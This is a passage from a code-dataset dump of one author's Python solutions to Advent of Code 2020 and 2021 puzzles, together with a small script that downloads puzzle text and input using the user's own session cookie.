range(-100, 100) ):\n probe = Probe(vx, vy)\n\n if probe.launch(target):\n count += 1\n height = max(height, probe.height)\n\n\n# Part 1\n#\n# Q: What is the highest y position it reaches on this trajectory?\n# A: Height = 4656\n\nprint(f'Part 1: Height = {height}')\n\n\n# Part 2\n#\n# Q: How many distinct initial velocities cause the probe to hit the target?\n# A: Velocities = 1908\n\nprint(f'Part 2: Velocities = {count}')\n", "id": "1168158", "language": "Python", "matching_score": 1.2549318075180054, "max_stars_count": 0, "path": "2021/day17/aoc-2021-d17.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 15 (https://adventofcode.com/2020/day/15)\n# Author: <NAME>\n\n\nimport collections\n\n\ndef play (*start, turns):\n \"\"\"Plays the North Pole Elves memory game with a list of `start`ing\n number and for the given number of `turns`. Returns the last number\n spoken (after `turns` rounds).\n \"\"\"\n last = start[-1]\n numbers = collections.defaultdict(lambda: collections.deque(maxlen=2))\n\n for pos, n in enumerate(start):\n numbers[n].append(pos + 1)\n\n for t in range(len(start) + 1, turns + 1):\n positions = numbers[last]\n last = 0 if len(positions) == 1 else (t - 1) - positions[0]\n numbers[last].append(t)\n\n return last\n\n\ntest = False\nturns = 2020\n\nif test:\n assert play(0, 3, 6, turns=turns) == 436\n assert play(1, 3, 2, turns=turns) == 1\n assert play(2, 1, 3, turns=turns) == 10\n assert play(1, 2, 3, turns=turns) == 27\n assert play(2, 3, 1, turns=turns) == 78\n assert play(3, 2, 1, turns=turns) == 438\n assert play(3, 1, 2, turns=turns) == 1836\n\nstart = 0, 13, 16, 17, 1, 10, 6\nspoken = play(*start, turns=turns)\nprint(f'Part 1: The {turns}th number spoken is {spoken}.')\n\nturns = 30000000\n\nif test:\n assert play(0, 3, 6, turns=turns) == 175594\n assert play(1, 3, 2, turns=turns) == 2578\n assert play(2, 1, 3, turns=turns) == 3544142\n assert play(1, 2, 3, turns=turns) == 261214\n assert play(2, 3, 1, turns=turns) == 6895259\n assert play(3, 2, 1, turns=turns) == 18\n assert play(3, 1, 2, turns=turns) == 362\n\nspoken = play(*start, turns=turns)\nprint(f'Part 2: The {turns}th number spoken is {spoken}.')\n", "id": "10930159", "language": "Python", "matching_score": 0.5971605777740479, "max_stars_count": 0, "path": "2020/day15/aoc-2020-d15.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 14 (https://adventofcode.com/2020/day/14)\n# Author: <NAME>\n\n\nimport itertools\nimport re\n\n\ndef bitwise_or (value, mask):\n \"\"\"Peforms a bitwise-or operation on `value` and `mask` leaving any\n \"bits\" marked \"X\" unchanged. Note that `value` and `mask` are both\n strings containing '0', '1', or 'X' and a string result is\n returned.\n \"\"\"\n return ''.join(v if m == '0' else m for v, m in zip(value, mask))\n\n\ndef floating (value):\n \"\"\"Enumerates and yields all possible binary values for the bit-string\n `value` with \"floating\" values indicated by \"X\". Note that `value`\n is a string containing '0', '1', or 'X' and a string result is\n returned. For example:\n\n >>> list( floating('0X') )\n ['00', '01']\n \"\"\"\n for bits in itertools.product('01', repeat=value.count('X')):\n result = value\n\n for b in bits:\n result = result.replace('X', b, 1)\n\n yield result\n\n\ndef load (filename):\n \"\"\"Loads the Seat Port Computer initialization program from filename,\n yielding a series of tuples per memory write instruction:\n `(mask, addr, value)`.\n \"\"\"\n pattern = re.compile('mem\\[(\\d+)\\] = (\\d+)')\n\n with open(filename) as stream:\n for line in stream.readlines():\n line = line.strip()\n\n if line.startswith('mask ='):\n mask = line[7:]\n else:\n match = pattern.search(line)\n addr = int( match[1] )\n value = int( match[2] )\n\n yield mask, addr, value\n\n\n# Part 1\n#\n# Execute the initialization program.\n#\n# Q: What is the sum of all values left in memory after it completes?\n# (Do not truncate the sum to 36 bits.)\n#\n# A: Part 1: Sum(memory): 14839536808842.\n\nfilename = 'aoc-2020-d14.txt'\nmemory = { }\nprogram = list( load(filename) )\n\nfor mask, addr, value in program:\n clear = int( mask.replace('X', '1'), 2 )\n keep = int( mask.replace('X', '0'), 2 )\n memory[addr] = (value | keep) & clear\n\nprint(f'Part 1: Sum(memory): {sum(memory.values())}.')\n\n\n# Part 2\n#\n# Execute the initialization program using an emulator for a version 2\n# decoder chip.\n#\n# Q: What is the sum of all values left in memory after it completes?\n# A: Part 2: Sum(memory): 4215284199669.\n\nmemory.clear()\n\nfor mask, addr, value in program:\n for a in floating( bitwise_or(f'{addr:036b}', mask) ):\n memory[a] = value\n\nprint(f'Part 2: Sum(memory): {sum(memory.values())}.')\n", "id": "6135764", "language": "Python", "matching_score": 1.1551240682601929, "max_stars_count": 0, "path": "2020/day14/aoc-2020-d14.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 8 (https://adventofcode.com/2020/day/8)\n# Author: <NAME>\n\n\nimport collections\n\n\nACC, JMP, NOP = 1, 2, 3\nOpcodes = { 'acc': ACC, 'jmp': JMP, 'nop': NOP }\nInstruction = collections.namedtuple('Instruction', 'op arg')\n\n\ndef flip (ins):\n \"\"\"Flips a `JMP` `ins`truction to a `NOP`, or vice-versa.\"\"\"\n return ins._replace(op=JMP if ins.op == NOP else NOP)\n\n\ndef halts (program):\n \"\"\"Indicates whether or not `program` halts (True) or loops forever\n (False). This function also returns the state of the program\n (accumulator) at the point it terminates or loops, i.e.:\n\n (halted=True | False, accumulator)\n \"\"\"\n acc = 0\n exe = set()\n pc = 0\n halted = True\n\n while pc < len(program):\n if pc in exe:\n halted = False\n break\n\n exe.add(pc)\n ins = program[pc]\n\n if ins.op == JMP:\n pc += ins.arg\n else:\n if ins.op == ACC:\n acc += ins.arg\n pc += 1\n\n return halted, acc\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef parse (line):\n \"\"\"Parses a program line, returning `(opcode, argument)`.\"\"\"\n op, arg = line.split()\n return Instruction(Opcodes.get(op), int(arg))\n\n\nfilename = 'aoc-2020-d08.txt'\nprogram = list( lines(filename, parse) )\n\n\n# Part 1\n#\n# Run your copy of the boot code.\n#\n# Q: Before any instruction is executed a second time, what is the accumulator?\n# A: Part 1: Loop detected: acc=1859.\n\nhalted, acc = halts(program)\n\nif not halted:\n print(f'Part 1: Loop detected: acc={acc}.')\n\n\n# Part 2\n#\n# Fix the program so that it terminates normally by changing exactly one\n# jmp (to nop) or nop (to jmp).\n#\n# Q: What is the value of the accumulator after the program terminates?\n# A: Part 2: Program terminated: acc=1235.\n\nfor n in range( len(program) ):\n if program[n].op == ACC:\n continue\n\n program[n] = flip( program[n] )\n halted, acc = halts(program)\n program[n] = flip( program[n] )\n\n if halted:\n print(f'Part 2: Program terminated: acc={acc}.')\n break\n", "id": "10912272", "language": "Python", "matching_score": 1.4909957647323608, "max_stars_count": 0, "path": "2020/day08/aoc-2020-d08.py" }, { "content": "#!/usr/bin/env python3\n\n# Downloads Advent of Code Puzzle for the given year and day.\n# Author: <NAME>\n\n\nimport argparse\nimport os\nimport re\nimport sys\nimport textwrap\nimport urllib.request\n\n\nSession = os.environ.get('AOC_SESSION', None)\nNotSet = \"\"\"\nerror: An Advent of Code Session ID is required.\nPlease export AOC_SESSION=\"...\";\n\nTo find your Advent of Code Session ID, once logged-in to Advent of\nCode, use your web inspector to find a request cookie that starts with\n\"session=...\" and copy-and-paste the value into the AOC_SESSION\nenvironment variable. Sessions values are comprised of digits ([0-9])\nand letters ([a-f]) and are nearly 100 characters long, e.g.\n'536...be3'.\n\"\"\"\n\nHTML_a = re.compile('<a href=\"(.*?)\"[^>]*>(.*?)</a>', re.DOTALL)\nHTML_article = re.compile('<article[^>]*>(.*?)</article>' , re.DOTALL)\nHTML_code = re.compile('<code>(.*?)</code>' , re.DOTALL)\nHTML_em = re.compile('<em>(.*?)</em>' , re.DOTALL)\nHTML_h2 = re.compile('<h2[^>]*>(.*?)</h2>' , re.DOTALL)\nHTML_li = re.compile('<li>(.*?)</li>' , re.DOTALL)\nHTML_p = re.compile('(?:<p>|<p\\s+[^>]*>)(.*?)</p>' , re.DOTALL)\nHTML_pre = re.compile('<pre><code>(.*?)</code></pre>' , re.DOTALL)\nHTML_span = re.compile('<span[^>]*>(.*?)</span>' , re.DOTALL)\nHTML_ul = re.compile('<ul>(.*?)</ul>' , re.DOTALL)\n\n\ndef fetch (url):\n \"\"\"Fetches and returns the contents of the given `url` as a UTF-8\n string.\"\"\"\n headers = { 'Cookie': f'session={Session}' }\n request = urllib.request.Request(url, None, headers)\n\n with urllib.request.urlopen(request) as stream:\n return stream.read()\n\n\ndef replaceAll (text, pattern, transform):\n \"\"\"Replace all occurences in `text` of the regular expression `pattern`\n with `transform(match)`. Returns a copy of `text` with all\n replacements made.\n \"\"\"\n while match := pattern.search(text):\n text = replaceMatch(text, match, transform(match))\n\n return text\n\n\ndef replaceMatch (text, match, s):\n \"\"\"Returns `text` with the regular expression `match` replaced by `s`.\"\"\"\n return text[:match.start(0)] + s + text[match.end(0):]\n\n\ndef replace_a (html):\n \"\"\"Replaces all HTML anchor elements (`<a href=\"...\">`) in `html` with\n their Markdown equivalent.\n \"\"\"\n return replaceAll(html, HTML_a, lambda match: f'[{match[2]}]({match[1]})')\n\n\ndef replace_code (html):\n \"\"\"Replaces all `<code>` elements in `html` with their Markdown\n equivalent.\n \"\"\"\n return replaceAll(html, HTML_code, lambda match: f'`{match[1]}`')\n\n\ndef replace_em (html):\n \"\"\"Replaces all `<em>` elements in `html` with their Markdown\n equivalent.\n \"\"\"\n return replaceAll(html, HTML_em, lambda match: f'**{match[1]}**')\n\n\ndef replace_inline (html):\n \"\"\"Replaces all HTML inline elements (`<a>`, `<code>`, `<em>`, `<span>`)\n in `html` with their Markdown equivalent.\n \"\"\"\n return replace_a( replace_code( replace_em( replace_span(html) ) ) )\n\n\ndef replace_span (html):\n \"\"\"Replaces all `<span>` elements in `html` with their Markdown\n equivalent.\n \"\"\"\n return stripAll(html, HTML_span)\n\n\ndef savePuzzle (url, filename):\n \"\"\"Fetches and saves the Advent of Code puzzle description at `url` to\n `filename`, after converting it from HTML to Markdown.\n \"\"\"\n with open(filename, 'wt') as output:\n html = fetch(url).decode('utf-8')\n pos = 0\n\n for pattern in HTML_article, HTML_p, HTML_article, HTML_p, HTML_p:\n if match := pattern.search(html, pos):\n if match[0].startswith('<article'):\n writeMarkdown_article(match[1], output)\n elif match[0].startswith('<p'):\n writeMarkdown_p(match[1], output)\n pos = match.end()\n\n print(f'Wrote {filename}.')\n\n\ndef savePuzzleData (url, filename):\n \"\"\"Fetches and saves the Advent of Code puzzle data (input) at `url` to\n `filename`.\n \"\"\"\n with open(filename, 'wb') as output:\n output.write( fetch(url) )\n\n print(f'Wrote {filename}.')\n\n\ndef stripAll (html, pattern):\n \"\"\"Replaces all occurences in `text` of the regular expression `pattern`\n with `match[1]`. For the `HTML_*` patterns defined in this file,\n this has the effect of strippig the HTML tag, but leaving the inner\n text.\n \"\"\"\n return replaceAll(html, pattern, lambda match: match[1])\n\n\ndef writeMarkdown_article (html, output):\n \"\"\"Writes the `html` `<article>` to `output` stream as Markdown text.\"\"\"\n matches = [ ]\n\n for pattern in HTML_h2, HTML_pre, HTML_p, HTML_ul:\n matches.extend( list( pattern.finditer(html) ) )\n\n matches.sort(key=lambda match: match.start())\n\n for match in matches:\n if match[0].startswith('<h2'):\n writeMarkdown_h2(match[1], output)\n elif match[0].startswith('<ul>'):\n writeMarkdown_ul(match[1], output)\n elif match[0].startswith('<p>'):\n writeMarkdown_p(match[1], output)\n elif match[0].startswith('<pre>'):\n writeMarkdown_pre(match[1], output)\n\n\ndef writeMarkdown_h2 (html, output):\n \"\"\"Writes the `html` `<h2>` to `output` stream as Markdown text.\"\"\"\n output.write(f'### {html.replace(\"---\", \"\").strip() }\\n\\n')\n\n\ndef writeMarkdown_li (html, output):\n \"\"\"Writes the `html` `<li>` to `output` stream as Markdown text.\"\"\"\n lines = textwrap.wrap( replace_inline(html) )\n output.write(' - ' + '\\n '.join(lines) + '\\n\\n')\n\n\ndef writeMarkdown_p (html, output):\n \"\"\"Writes the `html` `<p>` to `output` stream as Markdown text.\"\"\"\n output.write(f'{textwrap.fill( replace_inline(html) )}\\n\\n')\n\n\ndef writeMarkdown_pre (html, output):\n \"\"\"Writes the `html` `<pre>` to `output` stream as Markdown text.\"\"\"\n lines = stripAll(html.strip(), HTML_em).split('\\n')\n text = '\\n '.join(lines)\n output.write(f' {text}' + '\\n\\n')\n\n\ndef writeMarkdown_ul (html, output):\n \"\"\"Writes the `html` `<ul>` to `output` stream as Markdown text.\"\"\"\n for match in HTML_li.finditer(html):\n writeMarkdown_li(match[1], output)\n\n\ndef main ():\n \"\"\"Downloads Advent of Code Puzzle for the given year and day.\"\"\"\n p = argparse.ArgumentParser(description=main.__doc__)\n p.add_argument('day' , type=int)\n p.add_argument('--year', type=int, default='2021')\n p.add_argument('-p', '--puzzle', type=str, metavar='filename', default='README.md')\n p.add_argument('-d', '--puzzle-data', type=str, metavar='filename')\n\n args = p.parse_args()\n url = f'https://adventofcode.com/{args.year}/day/{args.day}'\n\n if Session is None:\n print(NotSet)\n return 2\n\n if os.path.exists(args.puzzle):\n print(f'Skipping puzzle fetch (\"{args.puzzle}\" already exists).')\n else:\n savePuzzle(url, args.puzzle)\n\n if args.puzzle_data:\n filename = args.puzzle_data\n else:\n filename = f'aoc-{args.year}-d{args.day:02d}.txt'\n\n if os.path.exists(filename):\n print(f'Skipping puzzle data fetch (\"{filename}\" already exists).')\n else:\n savePuzzleData(f'{url}/input', filename)\n\n print('done.')\n\n\nif __name__ == '__main__':\n sys.exit( main() )\n", "id": "8326326", "language": "Python", "matching_score": 1.1269482374191284, "max_stars_count": 0, "path": "script/aoc-fetch-puzzle.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 8 (https://adventofcode.com/2021/day/8)\n# Author: <NAME>\n\n\nimport itertools\n\n\ndef decode (outputs, ring):\n \"\"\"Decodes LED segment `outputs` according to the decoder `ring` which\n maps LED segment patterns to digits [0, 9].\n \"\"\"\n digits = [ ring[normalize(pattern)] for pattern in reversed(outputs) ]\n return sum( digit * (10**place) for place, digit in enumerate(digits) )\n\n\ndef deduce (patterns):\n \"\"\"Deduces LED segments from `patterns` to decode the digits [0, 9].\n Returns a \"decoder ring\" which maps a single LED pattern to its\n corresponding digit.\n\n See also `decode()`.\n \"\"\"\n # Lookup the four unique LED digits based on their pattern length.\n digits = { 2: 1, 4: 4, 3: 7, 7: 8 }\n ring = { digits[len(p)]: set(p) for p in patterns if len(p) in digits }\n\n for p in map(set, patterns):\n\n # Three digits have five LED segments: 2, 3, 5\n # Comparison (conditional) order is significant!\n if len(p) == 5:\n if len(p - ring[1]) == 3:\n ring[3] = p\n elif len(p - ring[4]) == 2:\n ring[5] = p\n else:\n ring[2] = p\n\n # Three digits have six LED segments: 0, 6, 9\n # Comparison (conditional) order is significant!\n elif len(p) == 6:\n if len(p - ring[4]) == 2:\n ring[9] = p\n elif len(p - ring[1]) == 4:\n ring[0] = p\n else:\n ring[6] = p\n\n return { normalize(pattern): digit for digit, pattern in ring.items() }\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in `filename`. If `func` is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef normalize (pattern):\n \"\"\"Normalizes the LED segment `pattern` by sorting it alphabetically.\"\"\"\n return ''.join( sorted(pattern) )\n\n\nfilename = 'aoc-2021-d08.txt'\nentries = list( lines(filename, lambda line: line.replace('|', '').split()) )\n\n\n# Part 1\n#\n# Q: In the output values, how many times do digits 1, 4, 7, or 8 appear?\n# A: Count = 26\n\noutputs = itertools.chain(*[ entry[10:] for entry in entries ])\ncount = sum(1 for output in outputs if len(output) in (2, 3, 4, 7))\nprint(f'Part 1: Count = {count:7}')\n\n\n# Part 2\n#\n# Q: What do you get if you add up all of the output values?\n# A: Total = 1009098\n\ntotal = sum( decode(entry[10:], deduce(entry[:10])) for entry in entries )\nprint(f'Part 2: Total = {total}')\n", "id": "1210033", "language": "Python", "matching_score": 1.4725216627120972, "max_stars_count": 0, "path": "2021/day08/aoc-2021-d08.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 2 (https://adventofcode.com/2020/day/2)\n# Author: <NAME>\n\n\nimport re\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in filename. If func is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef parse (line):\n \"\"\"Parses a password line of the form:\n\n 1-3 a: abcde\n\n and returns its constituent parts, e.g.: (1, 3, 'a', 'abcde').\n \"\"\"\n m = re.match(r'(\\d+)-(\\d+) ([a-z]): ([a-z]+)', line)\n return int( m[1] ), int( m[2] ), m[3], m[4]\n\n\n# Part 1\n# Q: How many passwords are valid according to their policies?\n# A: Policy 1 valid passwords: 439.\n\n# Part 2\n# Q: How many passwords are valid according to their policies?\n# A: Policy 2 valid passwords: <PASSWORD>.\n\nfilename = 'aoc-2020-d02.txt'\npolicy1 = 0\npolicy2 = 0\n\nfor m, n, c, p in lines(filename, parse):\n if p.count(c) in range(m, n + 1):\n policy1 += 1\n if (p[m - 1] == c or p[n - 1] == c) and p[m - 1] != p[n - 1]:\n policy2 += 1\n\nprint(f'Policy 1 valid passwords: {policy1}.')\nprint(f'Policy 2 valid passwords: {policy2}.')\n", "id": "10588480", "language": "Python", "matching_score": 1.2423744201660156, "max_stars_count": 0, "path": "2020/day02/aoc-2020-d02.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 4 (https://adventofcode.com/2020/day/4)\n# Author: <NAME>\n\n\nimport re\n\n\nclass Passport (object):\n __slots__ = 'byr', 'ecl', 'eyr', 'hcl', 'hgt', 'iyr', 'pid', 'cid'\n Required = 'byr', 'ecl', 'eyr', 'hcl', 'hgt', 'iyr', 'pid'\n\n def __init__ (self):\n \"\"\"Creates a new empty Passport.\"\"\"\n self.clear()\n\n\n def clear (self):\n \"\"\"Clears all Passport fields.\"\"\"\n for attr in Passport.__slots__:\n setattr(self, attr, None)\n\n\n def present (self):\n \"\"\"Indicates whether all required fields are present.\"\"\"\n return all(getattr(self, attr) != None for attr in Passport.Required)\n\n\n def update (self, line):\n \"\"\"Updates Passport fields based on line, e.g.:\n\n ecl:gry pid:860033327 eyr:2020 hcl:#fffffd\n \"\"\"\n for field in line.split():\n name, value = field.split(':')\n setattr(self, name, value)\n\n\n def valid (self):\n \"\"\"Indicates whether all required fields are valid.\"\"\"\n if not self.present():\n return False\n\n if re.match('\\d{4}$', self.byr) is None:\n return False\n\n if int(self.byr) not in range(1920, 2002 + 1):\n return False\n\n if re.match('\\d{4}$', self.iyr) is None:\n return False\n\n if int(self.iyr) not in range(2010, 2020 + 1):\n return False\n\n if re.match('\\d{4}$', self.eyr) is None:\n return False\n\n if int(self.eyr) not in range(2020, 2030 + 1):\n return False\n\n match = re.match('(\\d+)(cm|in)$', self.hgt)\n\n if match is None:\n return False\n\n if match[2] == 'cm' and int(match[1]) not in range(150, 193 + 1):\n return False\n\n if match[2] == 'in' and int(match[1]) not in range(59, 76 + 1):\n return False\n\n if re.match('#[0-9a-f]{6}$', self.hcl) is None:\n return False\n\n if self.ecl not in ('amb', 'blu', 'brn', 'gry', 'grn', 'hzl', 'oth'):\n return False\n\n if re.match('\\d{9}$', self.pid) is None:\n return False\n\n return True\n\n\n# Part 1\n#\n# Q: In your batch file, how many passports are valid?\n# A: Part 1: Valid passports: 237.\n\n# Part 2\n#\n# Q: In your batch file, how many passports are valid?\n# A: Part 2: Valid passports: 172.\n\nfilename = 'aoc-2020-d04.txt'\npassport = Passport()\npresent = 0\nvalid = 0\n\nwith open(filename) as stream:\n for line in stream.readlines():\n line = line.strip()\n if len(line) == 0:\n present += int( passport.present() )\n valid += int( passport.valid() )\n passport.clear()\n else:\n passport.update(line)\n\npresent += int( passport.present() )\nvalid += int( passport.valid() )\n\nprint(f'Part 1: Valid passports: {present}.')\nprint(f'Part 2: Valid passports: {valid}.')\n", "id": "10912773", "language": "Python", "matching_score": 0.8837239146232605, "max_stars_count": 0, "path": "2020/day04/aoc-2020-d04.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2020, Day 16 (https://adventofcode.com/2020/day/16)\n# Author: <NAME>\n\n\nimport functools\nimport re\n\n\ndef find (possible):\n \"\"\"Returns `(key, index)` such that `possible[key] = [ index ]`.\"\"\"\n for name, values in possible.items():\n if len(values) == 1:\n return name, values[0]\n\ndef flatten (array):\n \"\"\"Returns a flattened array containing all elements of subarrays.\"\"\"\n return [ elem for subarray in array for elem in subarray ]\n\n\ndef load (filename):\n \"\"\"Loads and returns a dictionary of `rules` and list of `tickets` from\n filename. The first ticket (`ticket[0]`) is \"your ticket.\"\n \"\"\"\n pattern = re.compile('([a-z ]+): (\\d+)-(\\d+) or (\\d+)-(\\d+)')\n state = 'RULES'\n rules = { }\n tickets = [ ]\n\n with open(filename) as stream:\n for line in stream.readlines():\n line = line.strip()\n\n if len(line) == 0:\n continue\n elif line == 'your ticket:' or line == 'nearby tickets:':\n state = 'TICKET'\n continue\n elif state == 'RULES':\n match = pattern.match(line)\n if match:\n name = match[1]\n range1 = range( int(match[2]), 1 + int(match[3]) )\n range2 = range( int(match[4]), 1 + int(match[5]) )\n rules[name] = [ range1, range2 ]\n elif state == 'TICKET':\n tickets.append([ int(s) for s in line.split(',') ])\n\n return rules, tickets\n\n\ndef product (items):\n \"\"\"Returns the product of the values in `items`.\"\"\"\n return functools.reduce(lambda a, b: a * b, items, 1)\n\n\ndef remove (possible, value):\n \"\"\"Removes value from all arrays in the `possible` dictionary.\"\"\"\n for name, values in possible.items():\n try:\n del values[ values.index(value) ]\n except ValueError:\n pass\n\n\ndef transpose (tickets):\n \"\"\"Returns the transpose of `tickets`, i.e. a grouping of fields for\n all `tickets`.\n \"\"\"\n return zip(*tickets)\n\n\ndef valid (*args):\n \"\"\"Indicates whether or not a `ticket` or one of its constituent\n `value`s is valid according to a single rule (`range1`, `range2`) or\n a dictionary of rules: `{ name1: (range1, range1), ..., nameN:\n (range1, range2) ]`. That is, there are many ways to ask whether a\n `ticket` or one of its `value`s is valid:\n\n - valid(ticket, range1, range2) # A rule is two Python range objects\n - valid(value , range1, range2)\n\n and:\n\n - valid(ticket, rules)\n - valid(value , rules)\n\n \"\"\"\n result = False\n\n if len(args) == 2:\n obj = args[0]\n rules = args[1].values()\n result = any( valid(obj, range1, range2) for range1, range2 in rules )\n elif len(args) == 3:\n obj = args[0]\n range1 = args[1]\n range2 = args[2]\n\n if type(obj) is int:\n value = obj\n result = value in range1 or value in range2\n elif type(obj) is tuple or type(obj) is list:\n ticket = obj\n result = all( valid(value, range1, range2) for value in ticket )\n\n return result\n\n\n# Part 1\n#\n# Consider the validity of the nearby tickets you scanned.\n#\n# Q: What is your ticket scanning error rate?\n# A: Part 1: Ticket scanning error rate: 19060.\n\nfilename = 'aoc-2020-d16.txt'\nrules, tickets = load(filename)\nerrors = [ v for v in flatten(tickets) if not valid(v, rules) ]\n\nprint(f'Part 1: Ticket scanning error rate: {sum(errors)}.')\n\n\n# Part 2\n#\n# Once you work out which field is which, look for the six fields on\n# your ticket that start with the word departure.\n#\n# Q: What do you get if you multiply those six values together?\n# A: Part 2: Ticket \"depature\" product: 953713095011.\n\nfields = list( transpose([ t for t in tickets if valid(t, rules) ]) )\nmapping = { }\npossible = { }\n\n\n# Construct a list of possible (valid) mappings from rule names to field\n# indexes.\n\nfor name, rule in rules.items():\n possible[name] = [ n for n, vs in enumerate(fields) if valid(vs, *rule) ]\n\n\n# Iteratively reduce `possible` mappings by finding the first possible\n# mapping that contains only a single field index. Make that assignment\n# permanent by:\n#\n# 1. Adding `index` to `mapping`, and\n# 2. Removing `index` from all entries in `possible`\n#\n# Repeat until all `possible` mappings have been made permanent.\n\nwhile len(possible) > 0:\n name, index = find(possible)\n mapping[name] = index\n remove(possible, index)\n del possible[name]\n\nticket = tickets[0]\nprefix = 'departure'\nvalues = [ ticket[ mapping[key] ] for key in mapping if key.startswith(prefix) ]\n\nprint(f'Part 2: Ticket \"depature\" product: {product(values)}.')\n", "id": "1452623", "language": "Python", "matching_score": 1.376347303390503, "max_stars_count": 0, "path": "2020/day16/aoc-2020-d16.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 14 (https://adventofcode.com/2021/day/14)\n# Author: <NAME>\n\n\nimport collections\nimport itertools\n\n\ndef counterize (counter, rulemers):\n \"\"\"Applies reaction `rulemers` to the current dimer counts in `counter`\n and returns a new set of dimer counts. This method is analogous to\n `polymerize()`, but operates only on dimer counts. It does not\n generate the complete polymer.\n\n See also `dimerize()` and `polymerize()`.\n \"\"\"\n result = collections.Counter()\n\n # Every time a dimer rule matches and is applied, two new dimers are\n # produced and the number of new dimers produced equal to the count\n # of the `dimer` that matched.\n\n # For the example input and puzzle input, there is never a dimer\n # that doesn't match some rule, so the `else`-clause is never\n # executed (and hasn't been tested).\n\n for dimer in counter:\n if dimer in rulemers:\n result[ rulemers[dimer][0] ] += counter[dimer]\n result[ rulemers[dimer][1] ] += counter[dimer]\n else:\n result[dimer] = counter[dimer]\n\n return result\n\n\ndef counts (counter, polymer):\n \"\"\"Derive and return the counts of elements in `polymer` based only on\n the current dimer counts in `counter`.\n\n See also `counterize()`.\n \"\"\"\n result = collections.Counter()\n\n for dimer in counter:\n result[ first(dimer) ] += counter[dimer]\n\n result[ last(polymer) ] += 1\n\n return result\n\n\ndef dimerize (rules):\n \"\"\"Returns a new dictionary of `rules` that recasts each rule of the\n form:\n\n rules['AB'] = 'C'\n\n To the dimers each rule effectively produces with each\n polymerization reaction step:\n\n rules['AB'] = 'AC', 'CB'\n \"\"\"\n return { d: (first(d) + rules[d], rules[d] + second(d)) for d in rules }\n\n\ndef dimers (polymer):\n \"\"\"Iterate successive overlapping dimers (element pairs) in polymer.\"\"\"\n\n # In Python 3.10 simply `return itertools.pairwise(polymer)`, which\n # is equivalent to creating two iterators from `polymer`, advancing\n # the second iterator by one (to discard the first element) and then\n # `zip()`ping the result:\n\n p1, p2 = itertools.tee(polymer)\n next(p2, None)\n yield from ( f'{d1}{d2}' for d1, d2 in zip(p1, p2) )\n\n\ndef first (dimer):\n \"\"\"Returns the first element in `dimer`.\"\"\"\n return dimer[0]\n\n\ndef last (polymer):\n \"\"\"Returns the last element in `polymer`.\"\"\"\n return polymer[-1]\n\n\ndef load (filename):\n \"\"\"Loads template polymer and reaction rules from `filename`. Returns\n `(template, rules)`.\n \"\"\"\n rules = { }\n\n with open(filename) as stream:\n template, lines = stream.read().split('\\n\\n')\n\n for rule in lines.strip().split('\\n'):\n pair, elem = rule.split(' -> ')\n rules[pair] = elem\n\n return template, rules\n\n\ndef polymerize (polymer, rules):\n \"\"\"Polymerizes (expands) `polymer` according to `rules` and returns the\n newly formed polymer chain.\n \"\"\"\n chain = [ ]\n\n for dimer in dimers(polymer):\n chain.append( first(dimer) )\n chain.append( rules[dimer] if dimer in rules else second(dimer) )\n\n chain.append( last(polymer) )\n\n return ''.join(chain)\n\n\ndef second (dimer):\n \"\"\"Returns the second element in `dimer`.\"\"\"\n return dimer[1]\n\n\nfilename = 'aoc-2021-d14.txt'\ntemplate, rules = load(filename)\n\n\n# Part 1\n#\n# Q: After 10 steps, difference between most and least common element counts?\n# A: 10 Steps = 2010\n\npolymer = template[:]\n\nfor step in range(10):\n polymer = polymerize(polymer, rules)\n\ncommon = collections.Counter(polymer).most_common()\nprint(f'Part 1: 10 Steps = {common[0][1] - common[-1][1]}')\n\n\n# Part 2\n#\n# Q: After 40 steps, difference between most and least common element counts?\n# A: 40 Steps = 2437698971143\n\npolymer = template[:]\ncounter = collections.Counter( dimer for dimer in dimers(polymer) )\nrulemers = dimerize(rules)\n\nfor step in range(40):\n counter = counterize(counter, rulemers)\n\n if step + 1 == 10:\n common = counts(counter, polymer).most_common()\n print(f'Part 1: 10 Steps = {common[0][1] - common[-1][1]} (redux)')\n\ncommon = counts(counter, polymer).most_common()\nprint(f'Part 2: 40 Steps = {common[0][1] - common[-1][1]}')\n", "id": "7573400", "language": "Python", "matching_score": 1.498559594154358, "max_stars_count": 0, "path": "2021/day14/aoc-2021-d14.py" }, { "content": "#!/usr/bin/env python3\n\n# Advent of Code 2021, Day 3 (https://adventofcode.com/2021/day/3)\n# Author: <NAME>\n\n\nimport functools\n\n\ndef colsum (matrix, column=None):\n \"\"\"Returns the column-wise sum of `matrix` (a vector) or, if a specific\n `column` index is provided, the sum of only that column (a scalar).\n \"\"\"\n if column is None:\n return functools.reduce(dotadd, matrix)\n else:\n return sum(matrix[row][column] for row in range(len(matrix)))\n\n\ndef dotadd (vec1, vec2):\n \"\"\"Adds `vec1` and `vec2` element-wise.\"\"\"\n return [ e1 + e2 for e1, e2 in zip(vec1, vec2) ]\n\n\ndef lines (filename, func=None):\n \"\"\"Python iterator over lines in `filename`. If `func` is given, it is\n applied to each line before yielding (returning) it.\n \"\"\"\n with open(filename) as stream:\n for line in stream.readlines():\n yield func(line) if func else line\n\n\ndef rating (numbers, criteria):\n \"\"\"Finds and returns the submarine oxygen (O2) generator rating or\n carbon dioxide (CO2) scrubber rating contained in `numbers`. The\n `numbers` matrix is iteratively searched until a single number (row)\n remains by:\n\n 1. First finding the most common bit in a bit position, and\n 2. Keeping only those numbers where:\n\n numbers[row][pos] == criteria(most_common)\n\n 3. Repeating with the next bit position\n\n Where:\n\n * `row` is the row (representing a value) in the `numbers` 